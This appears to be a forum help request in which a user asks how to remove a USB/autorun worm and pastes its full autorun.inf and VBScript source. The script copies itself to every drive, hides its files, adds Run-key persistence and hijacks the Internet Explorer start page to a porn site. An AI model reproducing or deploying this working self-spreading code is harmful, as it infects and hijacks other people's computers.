I have this problem in my Internal and External hardisk. Every time I double click it does not respond. When i right click my drive C it enables the “AutoPlay”. I have the same problem with my External Hardisk it also enables the autoplay. I try to solve it and found out that this 2 mysterious autorun.inf and sys.dll.vbs save as a hidden file in the drive C and on my external hardisk. I open it with notepad it has a command lines for autorun.inf have the following text inside:
[autorun]
shellexecute=wscript.exe sys.dll.vbs
for this sys.dll.vbs it has the following text inside:
On Error Resume Next
Dim mydate, myvbsalias, myvbsfile, mysource, winpath, winsyspath, flashdrive, fs, mycmdfile, cmd, atr, tf, rg, nt, check, sd
mycmdfile = “cmd.exe”
mydate = month(now()) & day(now())
myvbsalias = “sys”
myvbsfile = myvbsalias & “.dll.vbs”
atr = “[autorun]” & vbCrLf & _
"shellexecute=wscript.exe " & myvbsfile
Set fs = CreateObject(“Scripting.FileSystemObject”)
Dim mf, text, size
Set mf = fs.GetFile(WScript.ScriptFullname)
size = mf.size
check = mf.Drive.drivetype
Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream
mysource = mysource & text.readline
mysource = mysource & vbCrLf
Loop
Do
Set winpath = fs.GetSpecialFolder(0)
Set tf = fs.GetFile(winpath & "" & myvbsfile)
tf.Attributes = 32
Set tf = fs.CreateTextFile(winpath & "" & myvbsfile, 2, True)
tf.Write mysource
tf.Close
Set tf = fs.GetFile(winpath & "" & myvbsfile)
tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> “A:” Then
Set tf = fs.GetFile(flashdrive.Path & "" & myvbsfile)
tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path & "\" & myvbsfile, 2, True)
tf.Write mysource
tf.Close
Set tf = fs.GetFile(flashdrive.Path & "\" & myvbsfile)
tf.Attributes = 39
Set tf = fs.GetFile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path & "\autorun.inf", 2, True)
tf.Write atr
tf.Close
Set tf = fs.GetFile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 39
End If
Next
Set rg = CreateObject(“WScript.Shell”)
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, 0, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.porntube.com/”
rg.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\MSConfig”, winpath & "" & myvbsfile
rg.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSConfig”, winpath & "" & myvbsfile
If check <> 1 Then
WScript.sleep 200000
End If
Loop While (check <> 1)
Set sd = CreateObject(“WScript.Shell”)
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname
both are saved in drive C or in my hardisk.
I want to remove this file.
Thanks a lot
eugene
P.S: Do not copy this file and save it with an extension file of .inf and .vbs this will give you headache.
Following problems created:
- autoplay in hardisk
- internet explorer homepage changed to porntube
- It copies itself and transferred to other hardisk or flashdrive.